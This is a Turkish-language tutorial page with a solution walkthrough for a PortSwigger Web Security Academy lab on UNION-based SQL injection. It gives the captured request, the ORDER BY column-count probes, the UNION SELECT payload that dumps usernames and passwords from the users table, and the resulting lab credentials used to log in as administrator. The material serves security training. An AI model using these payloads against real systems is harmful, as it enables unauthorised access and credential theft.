> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-union-attack-retrieving-data-from-other-tables-cozumu.md).

# SQL injection UNION attack, retrieving data from other tables Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün kategori filtesinde SQL Injection var. UNION ile başka tablodan veri çekebilirsin. Veritabanında users diye tablo var, bu tablonun username ve password sütünlarını çek ve administrator olarak giriş yap demiş.

Sayfa aşağıdaki gibi:

<figure><img src="/files/OA27kn9P7JxnA2FZQky5" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/ryZz7CYbra68ASUXmqrW" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Pets HTTP/1.1
Host: 0aea0027048fbc1c8362b52600ca00a3.web-security-academy.net
Cookie: session=qO7W0B83LVvNBpUkqx4iWLPSBXnY0q3g
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0aea0027048fbc1c8362b52600ca00a3.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Pets, buradaki Pets yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım. Öncesinde ORDER BY ile gelin sütün sayısını hızla bulalım.

`' ORDER BY 2--`

diyince 200 döndü, anlamamız gereken 1 tane sütündan fazla var.

`' ORDER BY 3--`

500 döndü demek ki 2 tane sütün var. Hızlıca o zaman users tablosundan, username ve password sütünlarını çekelim. Tabi önce string çeken sütünü bulalım, onda string birleştirme yapıp çekelim.

`' UNION SELECT 'deneme',null--`

iyi birincisi string çekiyor demek ki oradan hem username hem password çekebiliriz.

`' UNION SELECT username || ' ve ' || password,null FROM users--`&#x20;

<figure><img src="/files/JnSnwfneB9jT3b7YrYco" alt=""><figcaption></figcaption></figure>

Gördüğünüz gibi hepsi geldi.

```bash
wiener ve qly34m11zln21pbkyqwf
carlos ve tgcf33flpn3719bib1sx
administrator ve r04ylsm2ikl0hwlqg0mh
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın

<figure><img src="/files/rHNxS4oTDMJ5ldakHYvK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/16Yp8gtZX2colPOVCwkG" alt=""><figcaption></figcaption></figure>
